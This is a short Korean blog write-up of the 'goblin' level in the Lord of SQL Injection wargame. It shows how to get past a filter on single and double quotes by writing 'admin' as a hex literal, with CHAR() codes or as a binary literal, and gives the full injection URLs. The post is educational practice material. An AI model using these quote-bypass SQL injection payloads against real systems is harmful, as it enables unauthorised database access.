• LOS-goblin

    2023. 7. 1.

    by. MinYuqShu

    반응형

    문제

    문제를 보면 싱글쿼트, 더블쿼트를 전부 필터링하고 있다.

     

    no=2 or id를 admin으로 해도 문자열을 변수명으로 인식해서 인지 안된다.

    그래서 admin을 우회해서 입력을 받아야한다. 

    guest 는 no=1로 로그인 가능

    그리고 no=1이면 guest로 로그인 되기 때문에 no=1이 아닌 다른 수로 해야 한다. 

     

    따라서 admin을 hex값으로 바꾸거나 char함수를 써서 admin을 바꿔줘야한다. 혹은 2진수로 바꿔서 하거나

     

    또 다른 방법은 admin의 no를 찾는 방법도 있다. 

     

    URL: ?no=2%20or%20id=CHAR(0x61,%200x64,%200x6D,%200x69,%200x6E)

              no=2 or id=0x61646D696E

     

    char함수

     

    16진수

     

    URL: ?no=2%20or%20id=0x61646D696E

              no=2 or id=CHAR(0x61, 0x64, 0x6D, 0x69, 0x6E)

     

    2진수

    URL: ?no=2%20or%20id=0b0110000101100100011011010110100101101110

             no=2 or id=0b0110000101100100011011010110100101101110

    admin의 no.를 찾은 모습

     

    admin의 no.를 찾는 방법도있다. guest가 1이라 0아니면 2라고 예상 admin은 no=2다.

     

     

    반응형

    '웹해킹' 카테고리의 다른 글

    LOS-darkelf  (0) 2023.07.01
    LOS-wolfman  (0) 2023.07.01
    LOS-orc  (0) 2023.07.01
    LOS-cobolt  (0) 2023.06.30
    LOS-gremlin  (0) 2023.06.30

    댓글